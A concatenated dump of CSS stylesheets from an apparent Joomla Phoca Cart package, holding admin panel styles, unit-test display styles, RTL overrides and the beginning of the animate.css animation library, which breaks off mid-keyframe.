.ph-admin-manage table {
	/*box-shadow: 0 3px 8px 0 rgba(60,70,100,.1), 0 3px 6px 0
rgba(0,0,0,0.1);*/

	box-shadow: 0 3px 6px 0 #dfe8f1;
	box-shadow: 0 1px 1px 0 rgba(0,0,0,.15);
}

#phAdminEdit .subform-repeatable-group {
    background: #F1F5F9;
	border:0;
	border-radius: 5px;
	margin-top: 10px;
}

#phAdminEdit .form-horizontal .subform-repeatable-group .control-group {
	margin-bottom: 8px;
}

#phAdminEdit .subform-repeatable-group .subform-repeatable-group {
	background: #cfdbe5;
	border:0;
	border-radius: 5px;
}

#phAdminEdit .btn.group-add,
#phAdminEdit .btn.group-remove {
	border-radius: 3px !important;
}
#phAdminEdit .btn.group-move {
	font-weight: normal !important;
    border-radius: 3px 0 0 3px !important;
    border: 0 !important;
	margin-right: 0 !important;
}
#phAdminEdit .ph-admin-order-link,
#phAdminEdit .ph-admin-download-links {
	background: #F1F5F9;
	border:0;
	border-radius: 5px;
	padding: 10px;
	margin: 5px;
}
#phAdminEdit .ph-admin-download-links table tr td {
	padding: 5px;
}





/* CP Info */
.ph-box-cp {
	display: flex;
}

.ph-left-cp {
	flex-basis: 50%;
}

.ph-right-cp {
	flex-basis: 50%;
}


/* CP Icons */

.ph-cp-item-box {
	display: flex;
	flex-wrap: wrap;
	margin-top: 25px;
}
.ph-cp-item {
	width: 7rem;
	margin: 0 0.7em 1.4em 0.7em;
}

.ph-cp-item-icon {
	background: #fff;
	border-radius: 5px;

	width: 7rem;
	height: 7rem;
	text-align: center;
	margin: auto;
	display: flex;
	justify-content: center;
	align-items: center;

	border: 0;
	background-image: linear-gradient(-45deg,#ffffff,#ffffff);
    box-shadow: 1px 2px 1px 0 rgba(0,0,0,.15);
}

.ph-cp-item-icon-link {
	width: 7rem;
	height:7rem;
	display: flex;
}

.ph-cp-item-icon-link,
.ph-cp-item-icon-link:hover,
.ph-cp-item-icon-link:active,
.ph-cp-item-icon-link:visited,
.ph-cp-item-icon-link:focus {
	color: #A6AAB1;
	text-decoration: none;
}

.ph-cp-item-icon-link span {
	border: 0px;
	box-shadow: none;
	border-radius: 50%;
	width: 5rem;
	height: 5rem;
	margin: auto;
	display: flex;
	justify-content: center;
	align-items: center;
	padding: 5px;
	text-align: center;
}

.ph-cp-item-icon-link:hover {
	border: 0px;
	box-shadow: none;
}

.ph-cp-item-icon-link-large {
	font-size: 2.6rem;
	width: 2.6rem;
	height:2.6rem;

	text-align: center;
	margin-left: auto;
	margin-right: auto;
}

.ph-cp-item-title {

	display:block;
	font-size: 0.95em;
	margin: 0 auto;
	margin-top: 0.1em;
	text-align: center
}

.ph-cp-item-icon-link-large {
   text-shadow:
   -2px -2px 0 #575757,
    2px -2px 0 #575757,
    -2px 2px 0 #575757,
     2px 2px 0 #575757;
}

@media screen and (-webkit-min-device-pixel-ratio:0) {
	.ph-cp-item-icon-link-large {
		/*-webkit-text-stroke: 2px #575757;*/
		text-shadow: none;
	}
}
@-moz-document url-prefix() {
	.ph-cp-item-icon-link-large {
		/*-webkit-text-stroke: 2px #575757;*/
		text-shadow: none;
	}
}

.ph-cp-item-icon-link-large:before {
	font-family: 'JoomlaFont' !important;
}

.ph-cp-item [class^="icon-"], .ph-cp-item [class*="
icon-"] {
    display: inline;
    width: auto;
    height: auto;
    margin-right: auto;
    line-height: 1;
}

.ph-cp-item [class^="icon-"].duotone:after, .ph-cp-item
[class*=" icon-"].duotone:after {
  opacity: 0.6;
}


.ph-icon-task i:before{
	font-family: 'JoomlaFont' !important;
}
.ph-icon-task i {
	font-size: 150%;
}

.ph-icon-task.disabled i,
.ph-icon-task.disabled i:before,
.ph-icon-task.disabled i:after {
	opacity: 0.35;
}

.duotone.icon-purge:before {
	color: #CC1020;
}

.duotone.icon-articles:after {
	color: #CC1020;
}

.ph-action-row {
	white-space:nowrap;
	display: flex;
	align-items:flex-start;
	justify-content: flex-start;
}
administrator/phocacartunittesting.css000064400000003565151170511340014407
0ustar00#phUnitTest {
	border: 1px solid #f0f0f0;
	height: 90vh;
	overflow: auto;
	width: 100%;
}

html, body {
	padding: 0;
	margin: 0;
}

#phUnitTest,
#phut-box ,
#phut-box table{
background: #000;
color: #fff;
	margin: 0;
	padding: 0;
	font-family: "Consolas", sans-serif;
}

#phut-box {
	font-size: 100%;
}

table.phut-calculation
table.phut-calculation tr,
table.phut-calculation tr td,
table.phut-calculation tr td th  {

	padding: 3px;
	border: 1px dashed #f0f0f0;
	border-collapse:collapse;
}

table.phut-calculation tr td {
	white-space: nowrap;
}






/* *** */
#phut-box table {
	border-collapse:collapse;
	font-size: 90%;
}

#phut-box.phut-box {
	
	padding: 30px;

}

.phut-row.row {

}



table.phut-calculation tr td:nth-child(2),
table.phut-calculation tr td:nth-child(3) {
	text-align: right;
}


table.phut-calculation tr.b {
	font-weight: bold;
	
}

table.phut-calculation tr td.b {
	font-weight: bold;
	
}

table.phut-calculation tr td.bb {
	font-weight: bold;
	
	background: #ffff99;
}

table.phut-calculation tr td.bbt {
	font-weight: bold;
	
	background: #ffd24c;
}

table.phut-calculation tr td.bbr {
	font-weight: bold;
	
	background: #ffff4c;
}

.phut-total {
	background: #00b3b2;
	
}
.phut-totalc {
	background: #59b300;
	
}
.phut-subtotalc {
	background: #666600;


}

.phut-rounding {
	background: #006666;


}
.phut-roundingc {
	background: #336600;
	

}

.ok {
	background: #2db300;
	color: #fff;
	
	width: 100%;
	margin: 0 auto;
	text-align: center;
}
.error {
	background: #b32d00;
	color: #fff;
	padding: 3px;
}
.error-fixed {
	background: #ffcfbf;
	color: #fff;
	padding: 3px;
}

.warning {
	background: #ff8000;
	color: #fff;
	padding: 3px;
}

.rounding {
	background: #4c79ff;
	color: #fff;
	padding: 3px;
}

.small {
	font-size: 25%;
}

.phut-flr {
	float: right;
	marging: 5px;
}

.phut-fll {
	float: left;
	margin: 5px;
}

.phut-header {
	margin: 5px;
	font-weight: bold;
}


administrator/rtl.css000064400000001143151170511340010734 0ustar00/*
@package Joomla
 * @copyright Copyright (C) Open Source Matters. All rights reserved.
 * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
 * @extension Phoca Cart
 * @copyright Copyright (C) Jan Pavelka www.phoca.cz -
https://www.phoca.cz/phocacart
 * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
 */

.ph-float-right,
.ph-right {
	text-align: left;
}
.ph-float-left,
.ph-left{
	text-align: right;
}

.ph-admin-additional-box {
    left: 0.3em;
	right: auto;
}

#toolbar [class^="icon-"],
#toolbar [class*=" icon-"] {
	border-left: none !important;
}
animate/animate.css000064400000223451151170511340010317 0ustar00@charset
"UTF-8";

/*!
 * animate.css -http://daneden.me/animate
 * Version - 3.6.0
 * Licensed under the MIT license - http://opensource.org/licenses/MIT
 *
 * Copyright (c) 2018 Daniel Eden
 */

.animated {
  -webkit-animation-duration: 1s;
  animation-duration: 1s;
  -webkit-animation-fill-mode: both;
  animation-fill-mode: both;
}

.animated.infinite {
  -webkit-animation-iteration-count: infinite;
  animation-iteration-count: infinite;
}

@-webkit-keyframes bounce {
  from,
  20%,
  53%,
  80%,
  to {
    -webkit-animation-timing-function: cubic-bezier(0.215, 0.61, 0.355, 1);
    animation-timing-function: cubic-bezier(0.215, 0.61, 0.355, 1);
    -webkit-transform: translate3d(0, 0, 0);
    transform: translate3d(0, 0, 0);
  }

  40%,
  43% {
    -webkit-animation-timing-function: cubic-bezier(0.755, 0.05, 0.855,
0.06);
    animation-timing-function: cubic-bezier(0.755, 0.05, 0.855, 0.06);
    -webkit-transform: translate3d(0, -30px, 0);
    transform: translate3d(0, -30px, 0);
  }

  70% {
    -webkit-animation-timing-function: cubic-bezier(0.755, 0.05, 0.855,
0.06);
    animation-timing-function: cubic-bezier(0.755, 0.05, 0.855, 0.06);
    -webkit-transform: translate3d(0, -15px, 0);
    transform: translate3d(0, -15px, 0);
  }

  90% {
    -webkit-transform: translate3d(0, -4px, 0);
    transform: translate3d(0, -4px, 0);
  }
}

@keyframes bounce {
  from,
  20%,
  53%,
  80%,
  to {
    -webkit-animation-timing-function: cubic-bezier(0.215, 0.61, 0.355, 1);
    animation-timing-function: cubic-bezier(0.215, 0.61, 0.355, 1);
    -webkit-transform: translate3d(0, 0, 0);
    transform: translate3d(0, 0, 0);
  }

  40%,
  43% {
    -webkit-animation-timing-function: cubic-bezier(0.755, 0.05, 0.855,
0.06);
    animation-timing-function: cubic-bezier(0.755, 0.05, 0.855, 0.06);
    -webkit-transform: translate3d(0, -30px, 0);
    transform: translate3d(0, -30px, 0);
  }

  70% {
    -webkit-animation-timing-function: cubic-bezier(0.755, 0.05, 0.855,
0.06);
    animation-timing-function: cubic-bezier(0.755, 0.05, 0.855, 0.06);
    -webkit-transform: translate3d(0, -15px, 0);
    transform: translate3d(0, -15px, 0);
  }

  90% {
    -webkit-transform: translate3d(0, -4px, 0);
    transform: translate3d(0, -4px, 0);
  }
}

.bounce {
  -webkit-animation-name: bounce;
  animation-name: bounce;
  -webkit-transform-origin: center bottom;
  transform-origin: center bottom;
}

@-webkit-keyframes flash {
  from,
  50%,
  to {
    opacity: 1;
  }

  25%,
  75% {
    opacity: 0;
  }
}

@keyframes flash {
  from,
  50%,
  to {
    opacity: 1;
  }

  25%,
  75% {
    opacity: 0;
  }
}

.flash {
  -webkit-animation-name: flash;
  animation-name: flash;
}

/* originally authored by Nick Pettit - https://github.com/nickpettit/glide
*/

@-webkit-keyframes pulse {
  from {
    -webkit-transform: scale3d(1, 1, 1);
    transform: scale3d(1, 1, 1);
  }

  50% {
    -webkit-transform: scale3d(1.05, 1.05, 1.05);
    transform: scale3d(1.05, 1.05, 1.05);
  }

  to {
    -webkit-transform: scale3d(1, 1, 1);
    transform: scale3d(1, 1, 1);
  }
}

@keyframes pulse {
  from {
    -webkit-transform: scale3d(1, 1, 1);
    transform: scale3d(1, 1, 1);
  }

  50% {
    -webkit-transform: scale3d(1.05, 1.05, 1.05);
    transform: scale3d(1.05, 1.05, 1.05);
  }

  to {
    -webkit-transform: scale3d(1, 1, 1);
    transform: scale3d(1, 1, 1);
  }
}

.pulse {
  -webkit-animation-name: pulse;
  animation-name: pulse;
}

@-webkit-keyframes rubberBand {
  from {
    -webkit-transform: scale3d(1, 1, 1);
    transform: scale3d(1, 1, 1);
  }

  30% {
    -webkit-transform: scale3d(1.25, 0.75, 1);
    transform: scale3d(1.25, 0.75, 1);
  }

  40% {
    -webkit-transform: scale3d(0.75, 1.25, 1);
    transform: scale3d(0.75, 1.25, 1);
  }

  50% {
    -webkit-transform: scale3d(1.15, 0.85, 1);
    transform: scale3d(1.15, 0.85, 1);
  }

  65% {
    -webkit-transform: scale3d(0.95, 1.05, 1);
    transform: scale3d(0.95, 1.05, 1);
  }

  75% {
    -webkit-transform: scale3d(1.05, 0.95, 1);
    transform: scale3d(1.05, 0.95, 1);
  }

  to {
    -webkit-transform: scale3d(1, 1, 1);
    transform: scale3d(1, 1, 1);
  }
}

@keyframes rubberBand {
  from {
    -webkit-transform: scale3d(1, 1, 1);
    transform: scale3d(1, 1, 1);
  }

  30% {
    -webkit-transform: scale3d(1.25, 0.75, 1);
    transform: scale3d(1.25, 0.75, 1);
  }

  40% {
    -webkit-transform: scale3d(0.75, 1.25, 1);
    transform: scale3d(0.75, 1.25, 1);
  }

  50% {
    -webkit-transform: scale3d(1.15, 0.85, 1);
    transform: scale3d(1.15, 0.85, 1);
  }

  65% {
    -webkit-transform: scale3d(0.95, 1.05, 1);
    transform: scale3d(0.95, 1.05, 1);
  }

  75% {
    -webkit-transform: scale3d(1.05, 0.95, 1);
    transform: scale3d(1.05, 0.95, 1);
  }

  to {
    -webkit-transform: scale3d(1, 1, 1);
    transform: scale3d(1, 1, 1);
  }
}

.rubberBand {
  -webkit-animation-name: rubberBand;
  animation-name: rubberBand;
}

@-webkit-keyframes shake {
  from,
  to {
    -webkit-transform: translate3d(0, 0, 0);
    transform: translate3d(0, 0, 0);
  }

  10%,
  30%,
  50%,
  70%,
  90% {
    -webkit-transform: translate3d(-10px, 0, 0);
    transform: translate3d(-10px, 0, 0);
  }

  20%,
  40%,
  60%,
  80% {
    -webkit-transform: translate3d(10px, 0, 0);
    transform: translate3d(10px, 0, 0);
  }
}

@keyframes shake {
  from,
  to {
    -webkit-transform: translate3d(0, 0, 0);
    transform: translate3d(0, 0, 0);
  }

  10%,
  30%,
  50%,
  70%,
  90% {
    -webkit-transform: translate3d(-10px, 0, 0);
    transform: translate3d(-10px, 0, 0);
  }

  20%,
  40%,
  60%,
  80% {
    -webkit-transform: translate3d(10px, 0, 0);
    transform: translate3d(10px, 0, 0);
  }
}

.shake {
  -webkit-animation-name: shake;
  animation-name: shake;
}

@-webkit-keyframes headShake {
  0% {
    -webkit-transform: translateX(0);
    transform: translateX(0);
  }

  6.5% {
    -webkit-transform: translateX(-6px) rotateY(-9deg);
    transform: translateX(-6px) rotateY(-9deg);
  }

  18.5% {
    -webkit-transform: translateX(5px) rotateY(7deg);
    transform: translateX(5px) rotateY(7deg);
  }

  31.5% {
    -webkit-transform: translateX(-3px) rotateY(-5deg);
    transform: translateX(-3px) rotateY(-5deg);
  }

  43.5% {
    -webkit-transform: translateX(2px) rotateY(3deg);
    transform: translateX(2px) rotateY(3deg);
  }

  50% {
    -webkit-transform: translateX(0);
    transform: translateX(0);
  }
}

@keyframes headShake {
  0% {
    -webkit-transform: translateX(0);
    transform: translateX(0);
  }

  6.5% {
    -webkit-transform: translateX(-6px) rotateY(-9deg);
    transform: translateX(-6px) rotateY(-9deg);
  }

  18.5% {
    -webkit-transform: translateX(5px) rotateY(7deg);
    transform: translateX(5px) rotateY(7deg);
  }

  31.5% {
    -webkit-transform: translateX(-3px) rotateY(-5deg);
    transform: translateX(-3px) rotateY(-5deg);
  }

  43.5% {
    -webkit-transform: translateX(2px) rotateY(3deg);
    transform: translateX(2px) rotateY(3deg);
  }

  50% {
    -webkit-transform: translateX(0);
    transform: translateX(0);
  }
}

.headShake {
  -webkit-animation-timing-function: ease-in-out;
  animation-timing-function: ease-in-out;
  -webkit-animation-name: headShake;
  animation-name: headShake;
}

@-webkit-keyframes swing {
  20% {
    -webkit-transform: rotate3d(0, 0, 1, 15deg);
    transform: rotate3d(0, 0, 1, 15deg);
  }

  40% {
    -webkit-transform: rotate3d(0, 0, 1, -10deg);
    transform: rotate3d(0, 0, 1, -10deg);
  }

  60% {
    -webkit-transform: rotate3d(0, 0, 1, 5deg);
    transform: rotate3d(0, 0, 1, 5deg);
  }

  80% {
    -webkit-transform: rotate3d(0, 0, 1, -5deg);
    transform: rotate3d(0, 0, 1, -5deg);
  }

  to {
    -webkit-transform: rotate3d(0, 0, 1, 0deg);
    transform: rotate3d(0, 0, 1, 0deg);
  }
}

@keyframes swing {
  20% {
    -webkit-transform: rotate3d(0, 0, 1, 15deg);
    transform: rotate3d(0, 0, 1, 15deg);
  }

  40% {
    -webkit-transform: rotate3d(0, 0, 1, -10deg);
    transform: rotate3d(0, 0, 1, -10deg);
  }

  60% {
    -webkit-transform: rotate3d(0, 0, 1, 5deg);
    transform: rotate3d(0, 0, 1, 5deg);
  }

  80% {
    -webkit-transform: rotate3d(0, 0, 1, -5deg);
    transform: rotate3d(0, 0, 1, -5deg);
  }

  to {
    -webkit-transform: rotate3d(0, 0, 1, 0deg);
    transform: rotate3d(0, 0, 1, 0deg);
  }
}

.swing {
  -webkit-transform-origin: top center;
  transform-origin: top center;
  -webkit-animation-name: swing;
  animation-name: swing;
}

@-webkit-keyframes tada {
  from {
    -webkit-transform: scale3d(1, 1, 1);
    transform: scale3d(1, 1, 1);
  }

  10%,
  20% {
    -webkit-transform: scale3d(0.9, 0.9, 0.9) rotate3d(0, 0, 1, -3deg);
    transform: scale3d(0.9, 0.9, 0.9) rotate3d(0, 0, 1, -3deg);
  }

  30%,
  50%,
  70%,
  90% {
    -webkit-transform: scale3d(1.1, 1.1, 1.1) rotate3d(0, 0, 1, 3deg);
    transform: scale3d(1.1, 1.1, 1.1) rotate3d(0, 0, 1, 3deg);
  }

  40%,
  60%,
  80% {
    -webkit-transform: scale3d(1.1, 1.1, 1.1) rotate3d(0, 0, 1, -3deg);
    transform: scale3d(1.1, 1.1, 1.1) rotate3d(0, 0, 1, -3deg);
  }

  to {
    -webkit-transform: scale3d(1, 1, 1);
    transform: scale3d(1, 1, 1);
  }
}

@keyframes tada {
  from {
    -webkit-transform: scale3d(1, 1, 1);
    transform: scale3d(1, 1, 1);
  }

  10%,
  20% {
    -webkit-transform: scale3d(0.9, 0.9, 0.9) rotate3d(0, 0, 1, -3deg);
    transform: scale3d(0.9, 0.9, 0.9) rotate3d(0, 0, 1, -3deg);
  }

  30%,
  50%,
  70%,
  90% {
    -webkit-transform: scale3d(1.1, 1.1, 1.1) rotate3d(0, 0, 1, 3deg);
    transform: scale3d(1.1, 1.1, 1.1) rotate3d(0, 0, 1, 3deg);
  }

  40%,
  60%,
  80% {
    -webkit-transform: scale3d(1.1, 1.1, 1.1) rotate3d(0, 0, 1, -3deg);
    transform: scale3d(1.1, 1.1, 1.1) rotate3d(0, 0, 1, -3deg);
  }

  to {
    -webkit-transform: scale3d(1, 1, 1);
    transform: scale3d(1, 1, 1);
  }
}

.tada {
  -webkit-animation-name: tada;
  animation-name: tada;
}

/* originally authored by Nick Pettit - https://github.com/nickpettit/glide
*/

@-webkit-keyframes wobble {
  from {
    -webkit-transform: translate3d(0, 0, 0);
    transform: translate3d(0, 0, 0);
  }

  15% {
    -webkit-transform: translate3d(-25%, 0, 0) rotate3d(0, 0, 1, -5deg);
    transform: translate3d(-25%, 0, 0) rotate3d(0, 0, 1, -5deg);
  }

  30% {
    -webkit-transform: translate3d(20%, 0, 0) rotate3d(0, 0, 1, 3deg);
    transform: translate3d(20%, 0, 0) rotate3d(0, 0, 1, 3deg);
  }

  45% {
    -webkit-transform: translate3d(-15%, 0, 0) rotate3d(0, 0, 1, -3deg);
    transform: translate3d(-15%, 0, 0) rotate3d(0, 0, 1, -3deg);
  }

  60% {
    -webkit-transform: translate3d(10%, 0, 0) rotate3d(0, 0, 1, 2deg);
    transform: translate3d(10%, 0, 0) rotate3d(0, 0, 1, 2deg);
  }

  75% {
    -webkit-transform: translate3d(-5%, 0, 0) rotate3d(0, 0, 1, -1deg);
    transform: translate3d(-5%, 0, 0) rotate3d(0, 0, 1, -1deg);
  }

  to {
    -webkit-transform: translate3d(0, 0, 0);
    transform: translate3d(0, 0, 0);
  }
}

@keyframes wobble {
  from {
    -webkit-transform: translate3d(0, 0, 0);
    transform: translate3d(0, 0, 0);
  }

  15% {
    -webkit-transform: translate3d(-25%, 0, 0) rotate3d(0, 0, 1, -5deg);
    transform: translate3d(-25%, 0, 0) rotate3d(0, 0, 1, -5deg);
  }

  30% {
    -webkit-transform: translate3d(20%, 0, 0) rotate3d(0, 0, 1, 3deg);
    transform: translate3d(20%, 0, 0) rotate3d(0, 0, 1, 3deg);
  }

  45% {
    -webkit-transform: translate3d(-15%, 0, 0) rotate3d(0, 0, 1, -3deg);
    transform: translate3d(-15%, 0, 0) rotate3d(0, 0, 1, -3deg);
  }

  60% {
    -webkit-transform: translate3d(10%, 0, 0) rotate3d(0, 0, 1, 2deg);
    transform: translate3d(10%, 0, 0) rotate3d(0, 0, 1, 2deg);
  }

  75% {
    -webkit-transform: translate3d(-5%, 0, 0) rotate3d(0, 0, 1, -1deg);
    transform: translate3d(-5%, 0, 0) rotate3d(0, 0, 1, -1deg);
  }

  to {
    -webkit-transform: translate3d(0, 0, 0);
    transform: translate3d(0, 0, 0);
  }
}

.wobble {
  -webkit-animation-name: wobble;
  animation-name: wobble;
}

@-webkit-keyframes jello {
  from,
  11.1%,
  to {
    -webkit-transform: translate3d(0, 0, 0);
    transform: translate3d(0, 0, 0);
  }

  22.2% {
    -webkit-transform: skewX(-12.5deg) skewY(-12.5deg);
    transform: skewX(-12.5deg) skewY(-12.5deg);
  }

  33.3% {
    -webkit-transform: skewX(6.25deg) skewY(6.25deg);
    transform: skewX(6.25deg) skewY(6.25deg);
  }

  44.4% {
    -webkit-transform: skewX(-3.125deg) skewY(-3.125deg);
    transform: skewX(-3.125deg) skewY(-3.125deg);
  }

  55.5% {
    -webkit-transform: skewX(1.5625deg) skewY(1.5625deg);
    transform: skewX(1.5625deg) skewY(1.5625deg);
  }

  66.6% {
    -webkit-transform: skewX(-0.78125deg) skewY(-0.78125deg);
    transform: skewX(-0.78125deg) skewY(-0.78125deg);
  }

  77.7% {
    -webkit-transform: skewX(0.390625deg) skewY(0.390625deg);
    transform: skewX(0.390625deg) skewY(0.390625deg);
  }

  88.8% {
    -webkit-transform: skewX(-0.1953125deg) skewY(-0.1953125deg);
    transform: skewX(-0.1953125deg) skewY(-0.1953125deg);
  }
}

@keyframes jello {
  from,
  11.1%,
  to {
    -webkit-transform: translate3d(0, 0, 0);
    transform: translate3d(0, 0, 0);
  }

  22.2% {
    -webkit-transform: skewX(-12.5deg) skewY(-12.5deg);
    transform: skewX(-12.5deg) skewY(-12.5deg);
  }

  33.3% {
    -webkit-transform: skewX(6.25deg) skewY(6.25deg);
    transform: skewX(6.25deg) skewY(6.25deg);
  }

  44.4% {
    -webkit-transform: skewX(-3.125deg) skewY(-3.125deg);
    transform: skewX(-3.125deg) skewY(-3.125deg);
  }

  55.5% {
    -webkit-transform: skewX(1.5625deg) skewY(1.5625deg);
    transform: skewX(1.5625deg) skewY(1.5625deg);
  }

  66.6% {
    -webkit-transform: skewX(-0.78125deg) skewY(-0.78125deg);
    transform: skewX(-0.78125deg) skewY(-0.78125deg);
  }

  77.7% {
    -webkit-transform: skewX(0.390625deg) skewY(0.390625deg);
    transform: skewX(0.390625deg) skewY(0.390625deg);
  }

  88.8% {
    -webkit-transform: skewX(-0.1953125deg) skewY(-0.1953125deg);
    transform: skewX(-0.1953125deg) skewY(-0.1953125deg);
  }
}

.jello {
  -webkit-animation-name: jello;
  animation-name: jello;
  -webkit-transform-origin: center;
  transform-origin: center;
}

@-webkit-keyframes bounceIn {
  from,
  20%,
  40%,
  60%,
  80%,
  to {
    -webkit-animation-timing-function: cubic-bezier(0.215, 0.61, 0.355, 1);
    animation-timing-function: cubic-bezier(0.215, 0.61, 0.355, 1);
  }

  0% {
    opacity: 0;
    -webkit-transform: scale3d(0.3, 0.3, 0.3);
    transform: scale3d(0.3, 0.3, 0.3);
  }

  20% {
    -webkit-transform: scale3d(1.1, 1.1, 1.1);
    transform: scale3d(1.1, 1.1, 1.1);
  }

  40% {
    -webkit-transform: scale3d(0.9, 0.9, 0.9);
    transform: scale3d(0.9, 0.9, 0.9);
  }

  60% {
    opacity: 1;
    -webkit-transform: scale3d(1.03, 1.03, 1.03);
    transform: scale3d(1.03, 1.03, 1.03);
  }

  80% {
    -webkit-transform: scale3d(0.97, 0.97, 0.97);
    transform: scale3d(0.97, 0.97, 0.97);
  }

  to {
    opacity: 1;
    -webkit-transform: scale3d(1, 1, 1);
    transform: scale3d(1, 1, 1);
  }
}

@keyframes bounceIn {
  from,
  20%,
  40%,
  60%,
  80%,
  to {
    -webkit-animation-timing-function: cubic-bezier(0.215, 0.61, 0.355, 1);
    animation-timing-function: cubic-bezier(0.215, 0.61, 0.355, 1);
  }

  0% {
    opacity: 0;
    -webkit-transform: scale3d(0.3, 0.3, 0.3);
    transform: scale3d(0.3, 0.3, 0.3);
  }

  20% {
    -webkit-transform: scale3d(1.1, 1.1, 1.1);
    transform: scale3d(1.1, 1.1, 1.1);
  }

  40% {
    -webkit-transform: scale3d(0.9, 0.9, 0.9);
    transform: scale3d(0.9, 0.9, 0.9);
  }

  60% {
    opacity: 1;
    -webkit-transform: scale3d(1.03, 1.03, 1.03);
    transform: scale3d(1.03, 1.03, 1.03);
  }

  80% {
    -webkit-transform: scale3d(0.97, 0.97, 0.97);
    transform: scale3d(0.97, 0.97, 0.97);
  }

  to {
    opacity: 1;
    -webkit-transform: scale3d(1, 1, 1);
    transform: scale3d(1, 1, 1);
  }
}

.bounceIn {
  -webkit-animation-duration: 0.75s;
  animation-duration: 0.75s;
  -webkit-animation-name: bounceIn;
  animation-name: bounceIn;
}

@-webkit-keyframes bounceInDown {
  from,
  60%,
  75%,
  90%,
  to {
    -webkit-animation-timing-function: cubic-bezier(0.215, 0.61, 0.355, 1);
    animation-timing-function: cubic-bezier(0.215, 0.61, 0.355, 1);
  }

  0% {
    opacity: 0;
    -webkit-transform: translate3d(0, -3000px, 0);
    transform: translate3d(0, -3000px, 0);
  }

  60% {
    opacity: 1;
    -webkit-transform: translate3d(0, 25px, 0);
    transform: translate3d(0, 25px, 0);
  }

  75% {
    -webkit-transform: translate3d(0, -10px, 0);
    transform: translate3d(0, -10px, 0);
  }

  90% {
    -webkit-transform: translate3d(0, 5px, 0);
    transform: translate3d(0, 5px, 0);
  }

  to {
    -webkit-transform: translate3d(0, 0, 0);
    transform: translate3d(0, 0, 0);
  }
}

@keyframes bounceInDown {
  from,
  60%,
  75%,
  90%,
  to {
    -webkit-animation-timing-function: cubic-bezier(0.215, 0.61, 0.355, 1);
    animation-timing-function: cubic-bezier(0.215, 0.61, 0.355, 1);
  }

  0% {
    opacity: 0;
    -webkit-transform: translate3d(0, -3000px, 0);
    transform: translate3d(0, -3000px, 0);
  }

  60% {
    opacity: 1;
    -webkit-transform: translate3d(0, 25px, 0);
    transform: translate3d(0, 25px, 0);
  }

  75% {
    -webkit-transform: translate3d(0, -10px, 0);
    transform: translate3d(0, -10px, 0);
  }

  90% {
    -webkit-transform: translate3d(0, 5px, 0);
    transform: translate3d(0, 5px, 0);
  }

  to {
    -webkit-transform: translate3d(0, 0, 0);
    transform: translate3d(0, 0, 0);
  }
}

.bounceInDown {
  -webkit-animation-name: bounceInDown;
  animation-name: bounceInDown;
}

@-webkit-keyframes bounceInLeft {
  from,
  60%,
  75%,
  90%,
  to {
    -webkit-animation-timing-function: cubic-bezier(0.215, 0.61, 0.355, 1);
    animation-timing-function: cubic-bezier(0.215, 0.61, 0.355, 1);
  }

  0% {
    opacity: 0;
    -webkit-transform: translate3d(-3000px, 0, 0);
    transform: translate3d(-3000px, 0, 0);
  }

  60% {
    opacity: 1;
    -webkit-transform: translate3d(25px, 0, 0);
    transform: translate3d(25px, 0, 0);
  }

  75% {
    -webkit-transform: translate3d(-10px, 0, 0);
    transform: translate3d(-10px, 0, 0);
  }

  90% {
    -webkit-transform: translate3d(5px, 0, 0);
    transform: translate3d(5px, 0, 0);
  }

  to {
    -webkit-transform: translate3d(0, 0, 0);
    transform: translate3d(0, 0, 0);
  }
}

@keyframes bounceInLeft {
  from,
  60%,
  75%,
  90%,
  to {
    -webkit-animation-timing-function: cubic-bezier(0.215, 0.61, 0.355, 1);
    animation-timing-function: cubic-bezier(0.215, 0.61, 0.355, 1);
  }

  0% {
    opacity: 0;
    -webkit-transform: translate3d(-3000px, 0, 0);
    transform: translate3d(-3000px, 0, 0);
  }

  60% {
    opacity: 1;
    -webkit-transform: translate3d(25px, 0, 0);
    transform: translate3d(25px, 0, 0);
  }

  75% {
    -webkit-transform: translate3d(-10px, 0, 0);
    transform: translate3d(-10px, 0, 0);
  }

  90% {
    -webkit-transform: translate3d(5px, 0, 0);
    transform: translate3d(5px, 0, 0);
  }

  to {
    -webkit-transform: translate3d(0, 0, 0);
    transform: translate3d(0, 0, 0);
  }
}

.bounceInLeft {
  -webkit-animation-name: bounceInLeft;
  animation-name: bounceInLeft;
}

@-webkit-keyframes bounceInRight {
  from,
  60%,
  75%,
  90%,
  to {
    -webkit-animation-timing-function: cubic-bezier(0.215, 0.61, 0.355, 1);
    animation-timing-function: cubic-bezier(0.215, 0.61, 0.355, 1);
  }

  from {
    opacity: 0;
    -webkit-transform: translate3d(3000px, 0, 0);
    transform: translate3d(3000px, 0, 0);
  }

  60% {
    opacity: 1;
    -webkit-transform: translate3d(-25px, 0, 0);
    transform: translate3d(-25px, 0, 0);
  }

  75% {
    -webkit-transform: translate3d(10px, 0, 0);
    transform: translate3d(10px, 0, 0);
  }

  90% {
    -webkit-transform: translate3d(-5px, 0, 0);
    transform: translate3d(-5px, 0, 0);
  }

  to {
    -webkit-transform: translate3d(0, 0, 0);
    transform: translate3d(0, 0, 0);
  }
}

@keyframes bounceInRight {
  from,
  60%,
  75%,
  90%,
  to {
    -webkit-animation-timing-function: cubic-bezier(0.215, 0.61, 0.355, 1);
    animation-timing-function: cubic-bezier(0.215, 0.61, 0.355, 1);
  }

  from {
    opacity: 0;
    -webkit-transform: translate3d(3000px, 0, 0);
    transform: translate3d(3000px, 0, 0);
  }

  60% {
    opacity: 1;
    -webkit-transform: translate3d(-25px, 0, 0);
    transform: translate3d(-25px, 0, 0);
  }

  75% {
    -webkit-transform: translate3d(10px, 0, 0);
    transform: translate3d(10px, 0, 0);
  }

  90% {
    -webkit-transform: translate3d(-5px, 0, 0);
    transform: translate3d(-5px, 0, 0);
  }

  to {
    -webkit-transform: translate3d(0, 0, 0);
    transform: translate3d(0, 0, 0);
  }
}

.bounceInRight {
  -webkit-animation-name: bounceInRight;
  animation-name: bounceInRight;
}

@-webkit-keyframes bounceInUp {
  from,
  60%,
  75%,
  90%,
  to {
    -webkit-animation-timing-function: cubic-bezier(0.215, 0.61, 0.355, 1);
    animation-timing-function: cubic-bezier(0.215, 0.61, 0.355, 1);
  }

  from {
    opacity: 0;
    -webkit-transform: translate3d(0, 3000px, 0);
    transform: translate3d(0, 3000px, 0);
  }

  60% {
    opacity: 1;
    -webkit-transform: translate3d(0, -20px, 0);
    transform: translate3d(0, -20px, 0);
  }

  75% {
    -webkit-transform: translate3d(0, 10px, 0);
    transform: translate3d(0, 10px, 0);
  }

  90% {
    -webkit-transform: translate3d(0, -5px, 0);
